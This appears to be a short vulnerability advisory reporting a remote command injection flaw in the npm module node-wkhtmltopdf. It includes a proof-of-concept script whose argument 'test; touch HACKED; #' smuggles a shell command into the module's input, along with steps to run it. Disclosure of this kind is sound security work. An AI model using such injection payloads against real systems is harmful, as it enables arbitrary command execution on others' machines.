vulnerability remote code execution
severity 3.8
language javascript
registry npm


The node-wkhtmltopdf module is vulnerable against RCE since a command is crafted using user inputs not validated and then executed, leading to arbitrary command injection


  1. Create the following PoC file:
// poc.js
var wkhtmltopdf = require("node-wkhtmltopdf");
wkhtmltopdf("", "test", "test; touch HACKED; #", function(err){});

  1. Check there aren't files called HACKED 3 Execute the following commands in another terminal:
npm i node-wkhtmltopdf # Install affected module
node poc.js #  Run the PoC
  1. Recheck the files: now HACKED has been created